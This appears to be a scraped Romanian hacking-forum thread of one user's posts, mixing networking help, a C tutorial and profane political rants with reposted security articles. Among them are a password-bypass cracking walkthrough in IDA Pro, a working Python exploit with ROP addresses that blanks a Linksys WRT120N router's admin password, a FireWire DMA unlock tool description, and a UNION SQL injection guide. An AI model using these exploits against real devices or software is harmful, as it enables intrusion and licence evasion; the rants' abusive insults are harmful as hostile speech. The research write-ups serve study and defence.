Nytro

Ban. Nu va mai abateti de la subiect.

Babelor, veniti in cacat si cu niste detalii tehnice, inca nu mi-am reparat globul de cristal sa stiu de ce nu va merge. 1. La ping in gateway aveti raspuns? 2. DNS-ul e rezolvat corect? 3. Alte site-uri va merg (fara sa fie din cache)? 4. La ping raspunde RST? 5. La traceroute ajunge pana la server? 6. Se realizeaza conexiunea? 7. Se conecteaza pe portul 80? 8. Site-urile de "is this site down just for me" zic ca e down? 9. Cu un proxy va merge? 10. Cu Tor va merge? 11. De pe telefon (internet mobil) va merge? Completati formularul de mai sus macar.

Daca aveti probleme pe forum va recomand sa discutati cu em. El este cel mai de treaba si daca il rugati frumos si va tineti de capul lui o sa va ajute. Noi ii zicem "good guy em".

E "self" sau se poate executa si la altii?

Banuiesc ca te referi la "struct"-ul din C/C++. E simplu, sa luam un exemplu: 1. Un int, de obicei, se memoreaza pe 4 octeti 2. Un char se memoreaza intotdeauna pe 1 octet 3. Un float, de obicei, are 4 bytes Astfel, putem crea o structura compusa din mai multe campuri: struct Om // Sau typedef struct Om{ int varsta; float inaltime; }; O structura are avantajul de a grupa niste date care definesc un "obiect" (In C++ o structura chiar defineste un obiect, la fel ca si cuvantul "class"). In C doar se grupeaza niste date, in C++ insa "struct" este identif cu "class" cu exceptia faptului ca implicit in struct datele sunt "public" iar in class sunt "private". Nu te stresa cu aceste aspecte, le vei invata pe parcurs cand vei invata C++. Pentru inceput e de ajuns sa intelegi ca asa se pot grupa niste date. Astfel poti defini un obiect de tipul "Om", la fel cum definesti un "int". Om variabila_de_tipul_Om; // Sau 'struct Om variabila_de_tipul_Om;' int variabila_de_tipul_int; // Variabila simpla Cu variabila de tipul "Om" poti accesa datele astfel: variabila_de_tipul_Om.varsta = 12;variabila_de_tipul_Om.inaltime = 1.80; Si cam asta e tot. Daca datele sunt alocate dinamic, se schimba putin lucrurile: Om *variabila_de_tipul_Om_C = (Om *)malloc(sizeof(Om)); // Aloci, in C, spatiu pentru o structura de tipul OmOm *variabila_de_tipul_Om_CPP = new Om; // Aloci si apelezi contructorul (nu te intereseaza asta deocamdata) in C++ Iar pentru accesarea datelor: variabila_de_tipul_Om->varsta = 12;variabila_de_tipul_Om->inaltime = 1.80; Un lucru de care trebuie sa tii cont cand folosesti structuri e dimensiunea structurii: struct Test{ int x; // 4 bytes char y, z; // 2 bytes, cate unul fiecare } Desi in mod normal structura ar avea 6 bytes, de cele mai multe ori compilatorul "aliniaza memoria" la multipli de 4 octeti. Astfel este posibil ca dimensiunea structurii sa fie de fapt 8 octeti. De aceea e bine sa folosesti intotdeauna operatorul "sizeof" pentru a determina dimensiunea oricarui tip de date.

DEFCON 19: Bit-squatting: DNS Hijacking Without Exploitation (w speaker) Speaker: Artem Dinaburg Security Researcher, Raytheon We are generally accustomed to assuming that computer hardware will work as described, barring deliberate sabotage. This assumption is mistaken. Poor manufacturing, errant radiation, and heat can cause malfunction. Commonly, such malfunction DRAM chips manifest as flipped bits. Security researchers have known about the danger of such bit flips but these attacks have not been very practical. Thanks to ever-higher DRAM densities and the use of computing devices outdoors and in high-heat environments, that has changed. This presentation will show that far from being a theoretical nuisance, bit flips pose a real attack vector. First the presentation will describe bit-squatting, an attack akin to typo-squatting, where an attacker controls domains one bit away from a commonly queried domain (e.g. mic2osoft.com vs. microsoft.com). To verify the seriousness of the issue, I bit-squatted several popular domains, and logged all HTTP and DNS traffic. The results were shocking and surprising, ranging from misdirected DNS queries to requests for Windows updates. The presentation will show an analysis of 6 months of real DNS and HTTP traffic to bit-squatted domains. The traffic will be shown in terms of affected platform, domain queried, and HTTP resources requested. Using this data the presentation will also attempt to ascertain the cause of the bit-flip, such as corruption on the wire, in requestor RAM, or in the RAM of a third party. The presentation will conclude with potential mitigations of bit-squatting and other bit-flip attacks, including both hardware and software solutions. By the end I hope to convince the audience that bit-squatting, and other attacks enabled by bit-flip errors are practical and serious, and should be addressed by software and hardware vendors.

Gay-protestele din Romania: http://media.hotnews.ro/media_server1/image-2013-09-6-15520562-0-protest-impotriva-proiectului-rosia-montana.jpg Sa razi cu jandarmii? Ala e protest? Sa-i futi in inima de jegosi, pentru 8 milioane/luna si-o muie ii apara pe cacatii de la putere. Romanii sunt prosti, fricosi si cel mai important: doare-n-cur-isti. I se rupe lor de tara, apoi se plang la samanta in fata blocului ca tara e de cacat. Ei sunt de cacat. Cand trebuie sa se iasa in strada, sa se iasa, ca si in Ucraina. Tot respectul pentru ucrainieni. Si acum se vede clar cat de imputiti pot fi jandarmii, politistii si soldatii. Folosesc armele impotriva propriului popor. Printre protestanti ar putea fi familiile lor. Cat de muist sa fii sa faci asta? Pentru 8 milioane si-o pula-n cur? Nu se zice degeaba ca gaborii sunt prosti.

[h=2]Applied Reverse Engineering with IDA Pro[/h] This editorial is committed to subverting the essential security restriction mechanisms of a native binary executable by employing the IDA Pro Dissembler. This paper is basically elaborating a very complex mechanism of reverse engineering among the previously demonstrated papers, yet because it is a very exhaustive and long process, it claims epic proportions of patience and proficiencies in Machine code instructions — but it is very interesting and challenging. We have mostly focused on .NET reverse engineering so far, which is relatively an easy task, instead of native binary reversing, because the source code is straightforwardly manipulated by dissemblers. This article would surely assist the aspirants who are repeatedly seeking a step by step tutorial on IDA Pro reverse engineering, because no such paper is perfectly crafted in laborious fashion so far. This article showcases the particulars of these contents: Live Binary Sample Target Target Analysis with IDA Pro Cracking the Target Alternative way of Tracing Final Note There are ‘n’ numbers of approaches for reverse engineering, and picking the appropriate one depends on the target program, the platform on which it runs and on which it was developed, and what kind of information you’re seeking to extract. Generally speaking, there is one fundamental reversing methodology: offline analysis, which is all about taking a binary executable and using a disassembler to convert the machine code into a human-readable form. Reversing is then performed by manually reading and analyzing parts of that output. Offline code analysis is a powerful approach because it provides a good outline of the program and makes it easy to search for specific functions that are of interest. The disassembler is one of the most significant reverse engineering apparatuses. Essentially, a disassembler decodes binary machine code into a readable assembly language code. The disassembler merely decodes each instruction and creates a textual representation for the code. It is trivial to say, the specific instruction encoding format and the resulting textual representation are entirely platform-specific. Each platform provides a different set of instructions and registers. Therefore a disassembler is also platform-specific (even though there are a couple of disassemblers that contain specific support for multiple platforms). Essential The target file IDA Pro Interactive Dissembler PE signature verifier Assembly Language skills Live Binary Sample Target This time, I have chosen a target binary which is being applied over reverse engineering, and its origin is in fact totally unknown to us. This executable basically first validates the user identity by asking the password. If user enters the correct information, then he would be able to proceed; otherwise it echoes the wrong password message over the screen. But we have obtained this binary from some unauthentic sources. Thus we are not provided with the user password token key which would probably have part of a license key. Luckily, we have only the executable, not the source code, so that we can figure out the mechanism implemented behind the scenes. Figure 1.1 So the only possibility left to carry on without buying the license code is to reverse engineer this binary file using IDA Pro dissembler. It is indispensable to confirm either this target binary is a standard Windows PE file or belongs to some other platforms, because it is mandatory for a binary file to have the PE file signature; otherwise, IDA Pro won’t dissemble it. So to achieve this, we can assist PE Explorer to obtain the signature information of this binary as follows in the file Header section. Figure 1.2 The aforesaid figure clearly expresses that this binary has a Windows PE signature and hence could be dissembled by IDA Pro, which we are going to elaborate in the next section. Target Analysis with IDA Pro Well, we have obtained the origin information of the target file so far using PE explorer. As we have stated earlier, reversing with IDA Pro is truly a laborious task, because we have to encounter trivial machine code. We don’t have the source code, rather only the binary executable. However, we first decompile or dissemble the binary using IDA Pro in order to comprehend what mechanics are implemented implicitly. Thus, launch the IDA Pro software, and it will ask to choose the prototype of a new disassemble file: Figure 1.3 After configuring the disassemble prototype as a new project, the IDA prompts to open the target binary as in the following figure. Figure 1.4 Right after choosing the target file, IDA Pro displays a screen dialog which stated three type of a file to be reversing as PE File, DoS Executable File, and Binary file. These file types basically point out the platform on which they were developed. In our scenario, the PE file is best fit-in because we have chosen a Windows 32 console application as per the figure 1.2; Apart from that, we can organize other option such as processor type, kernel and DLL renaming as follows: Figure 1.5 Finally, click OK. Don’t bother ahead because IDA Pro prompts a couple of alert messages, open in two different dialog windows. On the whole, much internal processing is done before opening a target file. As you can grasp the RED BOX in the following figure 1.6, we have a function window which enumerates all the methods and routines used in this executable. The graph window creates the control execution in flow chart format stated in the RED BOX. It provides a drag-able and moveable dashed rectangle box which can let us reach anywhere in the code execution. In the BLUE BOX, it shows the decompile code in assembly code format and most importantly, we can access any segment of code such as entry point, containing text string, binary pattern and marked position just by dragging the pointer in the first RED BOX. Figure 1.6 The important point to note here is that the Debugger menu would only be visible if the target file has the correct PE signature; otherwise it remains invisible. That’s why is better to identify first the signature of the target file using PE explore. We shall accomplish the task of logic tracing by debugging the decompiled file. We however choose the appropriate debugger. In our case, we pick Local Win32 debugger as follows: Figure 1.7 After ensuring the mandatory configuration, it is time to correlate with the actual mechanism by using the arrow mentioned in the following figure 1.8; it basically requires some hit and trail to find out the actual execution code path by dragging the pointer. The alert string message mentioned in figure 1.1 assist us to figure out the execution path. In fact, this target file shows numerous execution paths, and some of them are useful in the context of reversing, and the remaining ones are useless. So, the code flow that shows the alert message “Enter the password” is very significant to the reversing point of view, because this is the key value or entry point by which we can trace the essential code. Figure 1.8 After moving the pointer to a specific location, we can find the actual mechanism logic flow as following. It typically shows the control flow when we enter the wrong password value. Figure 1.9 The logic path flow mentioned in the aforesaid figure usually does not fit in the work area window. For this purpose, we can move the dashed rectangle in the graph overview by dragging it to reach a specific segment as follows: Figure 1.10 After moving the pointer to the appropriate location, we have found the decompiled code in assembly language format. Here, we can easily assume that this program prompts the user to enter the password by the scanf method mentioned in the RED BOX. Then this value is compared to a predefined string value (which is password) using the strcmp method. The test eax register is holding the value 0 or 1 which would come based on the string comparison. Finally, the jnz instructs the compiler to directly jump to the false segment branching, which is location 411444. Figure 1.11 If the eax register contains the value 0, then the condition would be true and the code execution directed to the box highlighted by cyan color. If it has a value of 1, then the control flow diverts toward the false condition block as follows: Figure 1.12 If the user enters the correct password, the following assembly code segment would be executed, in which first the “congratulations” message would be displayed along with the actual password information as follows: Figure 1.13 As we have stated earlier, the code flow instructions are huge in quantity, so we have to move the dashed rectangle from time to time in order to reach the specific code block. This time we move to a false condition block as follows: Figure 1.14 If the eax register doesn’t contain the value 0, then the execution is diverted toward the following figure block where the “Wrong Password! Try again” message will be print on the screen as shown below. Figure 1.15 Finally, no matter what value the eax register holds, the compiler always executes the following assembly instruction, where the getch method is encountered every time as follows: Figure 1.16 So, we have successfully disassembled the target assembly code to correlate to the actual mechanism running behind the scenes. We have come to a conclusion that the eax register value is the key hack. If its value is 0, then we entered into the true condition code block; otherwise we entered into the false condition block. Cracking (Reversing) the Target So, the eax register value would be the key interest for the reverser to subvert the password mechanism. If we change that value manually during debugging, then we can reach the true condition block even if we enter the wrong password information. In this encounter, our leading objective is to collapse the jump statement (jnz) execution so that the calling of method loc_411444 won’t happen. To do so, run this application in debugging mode. However, place a breackpoint at eax instruction by using F2. The instruction would be submerged in red box as follows: Figure 1.17 Then, run this executable by Start Process (F9) from Debugger. Again, a couple of windows appeared, then disappeared as usual. Figure 1.18 After that, the target starts to execute in DoS mode, because it is a console application. Here, it asks the user to enter the password as per its functionality, but unfortunately we don’t have the password. So, just enter any value as a password and press enter. Figure 1.19 The moment we press enter after entering the bogus password value as test, the execution is transferred to the IDA View-A, and we reach the instruction where we placed the breakpoint earlier. Then we have to move ahead manually by pressing the step into (F7) and we step forward to the jump instruction. Here, we notice that the green arrow (in the RED BOX) started blinking, which points out that the execution is about to transfer to the B31444 method block. If we didn’t do anything, the wrong password message display as usual. Figure 1.20 The execution is transferred to B31444 (false condition) block because eax register has a value as 1. The transmission to the false condition block happens due to the ZF value as 0. If this value would have 1, then the true condition block would execute. Figure 1.21 However, if we modify the value of ZF to 1, then we could control the code path execution to a true condition block. In order to change this value, right click over value and select Modify value as: Figure 1.22 Here, just replace the ZF register value from 1 to 0 and click OK. Figure 1.23 The moment the ZF register value is changed to 1, we notice that the execution flow is instantly changed to the true condition block by repeatedly blinking the red arrow in the BOX as follows: Figure 1.24 Now, go to the Debugger menu and press the Run until return option, which ends the execution after reaching the end of the code. Bingo!!! The target binary is showing the congratulation message even if entering the wrong password value. In addition to that, this program shows the original password value as ajay. Figure 1.25 So, we successfully subvert the password security mechanism just by diverting the binary code flow execution. But to get rid of a common misconception, we have to reverse engineer this target file, which is actually not patched. The password restriction is still in place, because we have not modified the corresponding bytes so far. Alternate way of Tracing Identification of the program entry point is always complex in IDA Pro because it shows raw assembly code. We have applied such a process by moving the arrow as in Figure 1.8. But this is a very cumbersome task. There is another way which eases the task of identifying such entry points. A program displays some string to carry on the execution ahead or to assist the user to control the execution. Just consider the following figure: It asks the user to enter the password by prompting the “Please enter the password” string. Figure 1.26 This string could be beneficial in terms of finding the entry points. So go to Text search and enter this string in the box, which finds such entries in the assembly code as follows: Figure 1.27 Alternatively, the string window displays all the in-built strings value of the target program. Just double click over the “Please enter the password” string, which redirects us to its assembly code. Figure 1.28 Here, we didn’t find the code execution in flow chart format, but in actual assembly code. So we reached the location where the string is located. Place the breakpoint here by F2 as earlier. Therefore, follow the operation or steps as performed earlier from Figure 1.18: Figure 1.29 Final Note This rare piece of information illustrated the process of disassembling as well as reverse engineering tactics over a native binary by using IDA Pro disassembler. We have seen the importance of the register values of binary code to correlate with actual program implementation and what role they can play in the reversing process. We have subverted the password mechanism just by modifying the value of the ZF register, which is connected to the eax register. The tutorial that applies to the binary target is dedicated to reversing the logic flows only, not patching the byte code associated with mechanism. There is no permanent change in memory related bytes; if we run this target again without IDA Pro, the password mechanism is still there, and it is not bypassed yet. We will discuss byte patching in detail in the next article. By Ajay Yadav|February 17th, 2014 Sursa: Applied Reverse Engineering with IDA Pro - InfoSec Institute

Taking Control of Linux Exploit Mitigations By Will Dormann on 02/17/2014 | Permalink Hey, it's Will. In my last two blog entries, I looked at aspects of two exploit mitigations (NX and ASLR) on the Linux platform. With both cases, Linux left a bit to be desired. In this post I will explain how to add further exploit protections to Linux. If you want to be secure in the Windows world, you should be running Microsoft EMET. If you are running Windows Vista or later, EMET mitigates nearly the entire class of memory corruption vulnerabilities by using DEP, ASLR, ROP, and other mitigations. A tool like EMET is possible because, with Windows, ASLR can be enabled for programs and libraries that weren't explicitly built to support it. Edit: While the set of exploit mitigations provided by EMET can be applied per application in Windows, ASLR will only be applied to the libraries loaded by the application. If an application is not linked with /DYNAMICBASE, then the load address of the application itself will not be randomized with EMET's application-specific mitigations. If EMET is used to enable system-wide ASLR, then executables with a relocation table are randomized. Executables with no relocation table, such as those linked with /FIXED, will not be randomized, regardless of how EMET is configured. Sometimes things can break when EMET is used though. When these situations arise, the options are to either disable specific mitigations for certain applications or wait until vendors fix their code. With Linux, things aren't so easy. As I described in my previous blog post, an executable must be compiled with PIE to be ASLR compatible. By default, most applications on Linux are not compiled with PIE. A simple visualization of ASLR on Linux can be achieved by running the following command multiple times: cat /proc/self/maps Running this command displays the memory maps for the current process, which is cat in the above case. First let's look at the default UbuFuzz virtual machine, which is the VM provided with the CERT BFF (UbuFuzz has ASLR disabled): Every time the above command is executed, the code is located in the same place. From an exploitability perspective, this approach is bad because an attacker can predict the location of code in memory, which enables the use of ROP or return-to-libc style attacks. Let's now enable ASLR by commenting out the kernel.randomize_va_space=0 line in /etc/sysctl.conf. Ubuntu has ASLR enabled by default, but this feature is disabled in the UbuFuzz VM to simplify fuzzing. Once ASLR is re-enabled, we run the test again: Here notice that the stack, heap, and loaded module locations are randomized, but the application itself (cat) is not randomized. Every time it executes, the application is loaded at the same memory location. Grsecurity and Pax As it turns out, it's possible to enable additional exploit mitigations in Linux. Unfortunately, the mitigations are not part of the vanilla Linux kernel. Therefore, you need to get the Linux kernel sources, apply a patch, and build your own kernel. The particular patch in question is provided by grsecurity, which also includes PaX. This patch provides additional protections that help enhance the security of a system, including various memory protections provided by PaX. Compiling and patching your own kernel may sound scary, but it's actually not too difficult. The Insanitybit blog has provided guidance for how to build a grsecurity kernel for Ubuntu. Grsecurity has since been updated to allow an automatic configuration, which makes configuration easier. Let's run the same test on the same UbuFuzz system, but with the grsecurity kernel: The obvious change here is that there is more randomness (higher entropy) in the addresses of the stack, heap, and loaded modules. But notice that cat is still not randomized because cat is not built with PIE, and therefore cannot be randomized on Linux. How do we get application addresses to be randomized on Linux? As mentioned in my previous blog post, for every application we would like to have ASLR protection, we need to compile it with PIE. How practical is this, though? Hardened Gentoo Linux Gentoo Linux is one of the few Linux distributions where packages are compiled from source code, rather than provided in binary format like Red Hat or Ubuntu. Setting up a Gentoo Linux system requires more "wall clock" time due to compilation requirements, and it also requires more human interaction than most other Linux distributions to configure and tweak the system to work smoothly. At least the prevalence of multi-core computer systems these days makes compilation a bit less time consuming than it was in the past. One security benefit of Gentoo is the reduced attack surface of the platform, since you only get what you explicitly ask for. The other aspect that could make a system like Gentoo a little more difficult to attack using a ROP-style attack is the diversity inherent in the platform ecosystem. Depending on which compilation flags a Gentoo administrator believes will make the system faster, the resulting compiled code may be different among Gentoo instances. With any application that may be bruteforced by an attacker, this entropy provided by different compilation flags is not sufficient protection. In our case, though, the particular feature/variant of Gentoo of interest is called Hardened Gentoo. Hardened Gentoo is a Gentoo profile that enables grsecurity and PaX features in the Linux kernel, and configures the toolchain (compiler, linker, etc.) to use security-enhanced features such as PIE. Because the packages are built with the hardened toolchain, packages installed on a Hardened Gentoo system will have extra exploit mitigations. Let's run the same test on a Hardened Gentoo system: Here we can see that everything is randomized, including the executable, and the entropy is higher than a vanilla Linux system. Exploiting a memory corruption vulnerability on such a system would be quite difficult. It is also possible to run Gentoo with a vanilla Linux kernel, but configure the toolchain to enable PIE and other protections. Packages built after this change is made will be compiled with the protections. While a system configured in this way will not be as secure as a system that runs the hardened Linux kernel, this technique may be a compromise for environments where the hardened kernel cannot be used. A Better Example In the above examples, cat provides a simple example that can visualize the effects of ASLR. However, cat really isn't a high-risk application, and due to its trivial nature, we don't expect vulnerabilities to be discovered in it. How can we check the exploit mitigation features of arbitrary programs? The script checksec.sh by Tobias Klein is useful for this purpose. Let's look at the ffmpeg program, which has a large attack surface; we can expect it to contain a number of vulnerabilities. First, on Ubuntu: Any properties that are not green are not the most secure. In this particular case, we can see that ffmpeg on Ubuntu is not compiled with PIE, and therefore will not receive the security benefit of ASLR. This binary also only uses Partial RELRO. Let's look at ffmpeg on a Hardened Gentoo system: In this case, all of the exploit mitigations are present. Conclusion Compared to Windows, enabling extra exploit mitigations on Linux requires a bit more work. Although the tests demonstrated in this blog entry focus on the ASLR aspect, a grsecurity-patched (and therefore PaX-enabled) Linux system provides a large number of protections that can make exploitation more difficult. At least on x86, some of these protections may have a noticeable performance impact. While a Hardened Gentoo platform may enable the most exploit protections for the most parts of the system, this approach may not be for everyone. If you are looking to enhance the security of your Linux system, it may be worth looking into at least building a grsecurity-enabled kernel for the Linux distro that you are already using. Sursa: https://www.cert.org/blogs/certcc/post.cfm?EntryID=193

E fake

[h=1]WRT120N fprintf Stack Overflow[/h] By Craig | February 19, 2014 | With a good firmware disassembly and JTAG debug access to the WRT120N, it’s time to start examining the code for more interesting bugs. As we’ve seen previously, the WRT120N runs a Real Time Operating System. For security, the RTOS’s administrative web interface employs HTTP Basic authentication: 401 Unauthorized Most of the web pages require authentication, but there are a handful of URLs that are explicitly allowed to bypass authentication: bypass_file_list(“/cgi-bin/login /images/ /login…”); Full list of bypass files Any request whose URL starts with one of these strings will be allowed without authentication, so they’re a good place to start hunting for bugs. Some of these pages don’t actually exist; others exist but their request handlers don’t do anything (NULL subroutines). However, the /cgi/tmUnBlock.cgi page does have a handler that processes some user data: cgi_tmUnBlock function handler The interesting bit of code to focus on is this: [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code]fprintf(request->socket, "Location %s\n\n", GetWebParam(cgi_handle, "TM_Block_URL")); [/TD] [/TR] [/TABLE] Although it at first appears benign, cgi_tmUnBlock‘s processing of the TM_Block_URL POST parameter is exploitable, thanks to a flaw in the fprintf implementation: fprintf Yes, fprintf blindly vsprintf‘s the supplied format string and arguments to a local stack buffer of only 256 bytes. Respect yourself. Don’t use sprintf. This means that the user-supplied TM_Block_URL POST parameter will trigger a stack overflow in fprintf if it is larger than 246 (sizeof(buf) – strlen(“Location: “)) bytes: [TABLE] [TR] [TD=class: gutter]1 [/TD] [TD=class: code]$ wget --post-data="period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=$(perl -e 'print "A"x254')" http://192.168.1.1/cgi-bin/tmUnBlock.cgi [/TD] [/TR] [/TABLE] Stack trace of the crash A simple exploit would be to overwrite some critical piece of data in memory, say, the administrative password which is stored in memory at address 0x81544AF0: Admin password at 0x81544AF0 The administrative password is treated as a standard NULL terminated string, so if we can write even a single NULL byte at the beginning of this address, we’ll be able to log in to the router with a blank password. We just have to make sure the system continues running normally after exploitation. Looking at fprintf‘s epilogue, both the $ra and $s0 registers are restored from the stack, meaning that we can control both of those registers when we overflow the stack: fprintf’s function epilogue There’s also this nifty piece of code at address 0x8031F634 that stores four NULL bytes from the $zero register to the address contained in the $s0 register: First ROP gadget If we use the overflow to force fprintf to return to 0x8031F634 and overwrite $s0 with the address of the administrative password (0x81544AF0), then this code will: Zero out the admin password Return to the return address stored on the stack (we control the stack) Add 16 to the stack pointer This last point is actually a problem. We need the system to continue normally and not crash, but if we simply return to the cgi_tmUnBlock function like fprintf was supposed to, the stack pointer will be off by 16 bytes. Finding a useful MIPS ROP gadget that decrements the stack pointer back 16 bytes can be difficult, so we’ll take a different approach. Looking at the address where fprintf should have returned to cgi_tmUnblock, we see that all it is doing is restoring $ra, $s1 and $s0 from the stack, then returning and adding 0×60 to the stack pointer: cgi_tmUnblock function epilogue We’ve already added 0×10 to the stack pointer, so if we can find a second ROP gadget that restores the appropriate saved values for $ra, $s1 and $s0 from the stack and adds 0×50 to the stack pointer, then that ROP gadget can be used to effectively replace cgi_tmUnblock‘s function epilogue. There aren’t any obvious gadgets that do this directly, but there is a nice one at 0x803471B8 that is close: Second ROP gadget This gadget only adds 0×10 to the stack pointer, but that’s not a problem; we’ll set up some additional stack frames that will force this ROP gadget return to itself five times. On the fifth iteration, the original values of $ra, $s1 and $s0 that were passed to cgi_tmUnblock will be pulled off the stack, and our ROP gadget will return to cgi_tmUnblock‘s caller: ROP stack frames and relevant registers With the register contents and stack having been properly restored, the system should continue running along as if nothing ever happened. Here’s some PoC code (download): import sysimport urllib2 try: target = sys.argv[1] except IndexError: print "Usage: %s <target ip>" % sys.argv[0] sys.exit(1) url = target + '/cgi-bin/tmUnblock.cgi' if '://' not in url: url = 'http://' + url post_data = "period=0&TM_Block_MAC=00:01:02:03:04:05&TM_Block_URL=" post_data += "B" * 246 # Filler post_data += "\x81\x54\x4A\xF0" # $s0, address of admin password in memory post_data += "\x80\x31\xF6\x34" # $ra post_data += "C" * 0x28 # Stack filler post_data += "D" * 4 # ROP 1 $s0, don't care post_data += "\x80\x34\x71\xB8" # ROP 1 $ra (address of ROP 2) post_data += "E" * 8 # Stack filler for i in range(0, 4): post_data += "F" * 4 # ROP 2 $s0, don't care post_data += "G" * 4 # ROP 2 $s1, don't care post_data += "\x80\x34\x71\xB8" # ROP 2 $ra (address of itself) post_data += "H" * (4-(3*(i/3))) # Stack filler; needs to be 4 bytes except for the # last stack frame where it needs to be 1 byte (to # account for the trailing "\n\n" and terminating # NULL byte) try: req = urllib2.Request(url, post_data) res = urllib2.urlopen(req) except urllib2.HTTPError as e: if e.code == 500: print "OK" else: print "Received unexpected server response:", str(e) except KeyboardInterrupt: pass Logging in with a blank password after exploitation Arbitrary code execution is also possible, but that’s another post for another day. Sursa: WRT120N fprintf Stack Overflow - /dev/ttyS0

Inception Inception is a FireWire physical memory manipulation and hacking tool exploiting IEEE 1394 SBP-2 DMA. The tool can unlock (any password accepted) and escalate privileges to Administrator/root on almost* any powered on machine you have physical access to. The tool can attack over FireWire, Thunderbolt, ExpressCard, PC Card and any other PCI/PCIe interfaces. Inception aims to provide a stable and easy way of performing intrusive and non-intrusive memory hacks on live computers using FireWire SBP-2 DMA. It is primarily intended to do its magic against computers that utilize full disk encryption such as BitLocker, FileVault, TrueCrypt or Pointsec. There are plenty of other ways to hack a machine that doesn’t pack encryption. Inception is also useful for incident response teams and digital forensics experts when faced with live machines. Inception’s main mode works as follows: By presenting a Serial Bus Protocol 2 (SBP-2) unit directory to the victim machine over the IEEE1394 FireWire interface, the victim operating system thinks that a SBP-2 device has connected to the FireWire port. Since SBP-2 devices utilize Direct Memory Access (DMA) for fast, large bulk data transfers (e.g., FireWire hard drives and digital camcorders), the victim lowers its shields and enables DMA for the device. The tool now has full read/write access to the lower 4GB of RAM on the victim. Once DMA is granted, the tool proceeds to search through available memory pages for signatures at certain offsets in the operating system’s password authentication modules. Once found, the tool short circuits the code that is triggered if an incorrect password is entered. An analogy for this operation is planting an idea into the memory of the machine; the idea that every password is correct. In other words, the nerdy equivalent of a memory inception. After running the tool you should be able to log into the victim machine using any password. The in-memory patching is non-persistent, and a reboot will restore the normal password functionality. This contributes to a key property of Inception: It’s stealthy. You can also use Inception to elevate privileges on (almost) any machine you have physical access to. As the tool patches the inner authentication mechanism in the OS, you can elevate your privileges to Local Adminstrator / root by using the Windows runas or Linux/OS X sudo su -s commands. As of version 0.3.1, it is able to unlock Windows 8.0-1, Windows 7 SP0-1, Vista SP0 and SP2, Windows XP SP2-3, Mac OS X Mavericks, Snow Leopard, Lion and Mountain Lion, Ubuntu 11.04, 11.10, 12.04, 12.10, 13.04, Linux Mint 11, 12 and 13 x86 and x64-bit machines. Signatures are added by request. Requirements Inception requires: A unix-flavor operating system to perform the attack from: Linux with the ‘Juju’ IEEE FireWire stack (Ubuntu 11 and higher and BackTrack 5 is known to work) Mac OS X (via IOkit, not recommended as IOkit is notoriously buggy at the moment) [*]Python 3 (http://www.python.org) [*]libforensic1394 (https://freddie.witherden.org/tools/libforensic1394/) [*]A FireWire/Thunderbolt/ExpressCard/PC Card interface at both machines. If you don’t have a native FireWire port, you can buy an adapter to hotplug one. The tool works over anything that expands the PCIe bus Download The latest development version can always be fetched from GitHub. Installation You should be able to run the tool without any installation (except the dependencies) on Mac OS X and Linux operating systems. Please be referred to the README file in libforensic1394 for installation of the libraries and FireWire pro-tips. Sursa: Inception | Break & Enter

PROTESTE VIOLENTE la Kiev: 16 oameni au fost uci?i. Vitali Kliciko s-a întâlnit cu Ianukovici: "Pre?edintele a cerut evacuarea Pie?ei Independen?ei". Trupele antirevolt? au lansat un nou asalt - LIVE VIDEO, GALERIE FOTO - Mediafax

ACAB. De vina pentru asta sunt politistii, sclavii jegosilor, mancatorii de cacat.

Play Flappy Bird Highscore: 1337 Challenge: schimbati highscore. (e usor)

[h=1] Insight on UNION query SQL injection[/h] Last week I wrote about DBMS fingerprint through inband SQL injection (also known as UNION query SQL injection) assuming that a web application parameter is affected by such type of SQL injection threat. Today I will keep the same scenario to focus on the detection of the inband SQL injection vulnerability, which is a prerequirement to exploit it performing the DBMS fingerprint and any other possible attack. There are mainly two techniques to detect if the vulnerable URL parameter is affected by an inband SQL injection vulnerability: UNION ALL SELECT NULL ORDER BY UNION ALL SELECT NULL The trick here is to perform the HTTP request taking advantage of the SQL syntax standard UNION ALL statement. Appending to the vulnerable parameter the UNION ALL SELECT NULL statement N times as long as we do not get any DBMS error messages. Common DBMS error messages when the occurences of NULL differ from the number of table columns are: MySQL: The used SELECT statements have a different number of columnsPostgreSQL: each UNION query must have the same number of columnsMicrosoft SQL Server: All queries in an SQL statement containing a UNION operator must have an equal number of expressions in their target listsOracle: ORA-01789: query block has incorrect number of result columnsIn our scenario at first request (with only one NULL) we will get a DBMS error message (similar to one of the aboves) or a blank page (if the administrator configured the web server not to return error messages), so we will request http://example/index.php?id=1 UNION ALL SELECT NULL, NULL and we will get a normal page, without any DBMS error message: the remote SELECT query is on a table with two columns and we can append data through the UNION ALL SELECT statement. ORDER BY This technique consists in performing the HTTP request taking advantage of the SQL syntax standard ORDER BY statement. Appending to the vulnerable parameter the ORDER BY NUM statement incrementing the number NUM as long as we do not get any DBMS error messages. Common DBMS error messages when the number NUM is greather than the number of table columns are: MySQL: Unknown column 'NUM' in 'order clause'PostgreSQL: ORDER BY position NUM is not in select listMicrosoft SQL Server: The ORDER BY position number NUM is out of range of the number of items in the select listOracle: ORA-01785: ORDER BY item must be the number of a SELECT-list expressionIn our scenario at first request (http://example/index.php?id=1 ORDER BY 1) we will not get the normal page (the query output will be sorted alphabetically based on the first table column values), so we will request http://example/index.php?id=1 ORDER BY 2 and we will get again a normal page. Now we already know that the table has two or more columns. Now requesting http://example/index.php?id=1 ORDER BY 3 we will get a DBMS error message (similar to one of the aboves) or a blank page (if the administrator configured the web server not to return error messages): the remote SELECT query is on a table with two columns and we can append data through the UNION ALL SELECT statement. EXPLOITING Both techniques are valid, but probably ORDER BY is more reliable on some custom DBMS/web application settings where, for example, NULL is not allowed as column type: quite rare case, but it can happens. Once we know how many columns there are in the table we have to check if the inband SQL injection is effectively visible (exploitable). In our scenario we can request http://example/index.php?id=1 UNION ALL SELECT NULL, '1234' and if the string 1234 appears in the HTML source code of the HTTP response page, we have an exploitable SQL injection. Remember to correctly encode with a DBMS CHAR() or similar function the strings to evade magic_quotes_gpc and some other security settings. I will illustrate some possible security settings evasion techniques in a future post. Now that we have an exploitable inband SQL injection we are ready to take advantage of this threat in our penetration test, for example performing a remote DBMS fingerprint [1] [2], usually the second step when exploiting this web applications vulnerability. NOTES The ALL is strongly advised to evade DISTINCT if present in the original web application SELECT query. The columns entries data type must fit: usually NULL fits all DBMS data types. The point here is to find a string (depending on the remote DBMS varchar, bpchar, etc) where inject our query. In our scenario being the remote DBMS MySQL it will work also in the first column even if it is an integer (int) because MySQL is not too restrictive in data types matching. In case the web application SELECT statement is similar to "SELECT id, name FROM testtable WHERE id=" . $_GET['id'] . " LIMIT 0, 1" we can 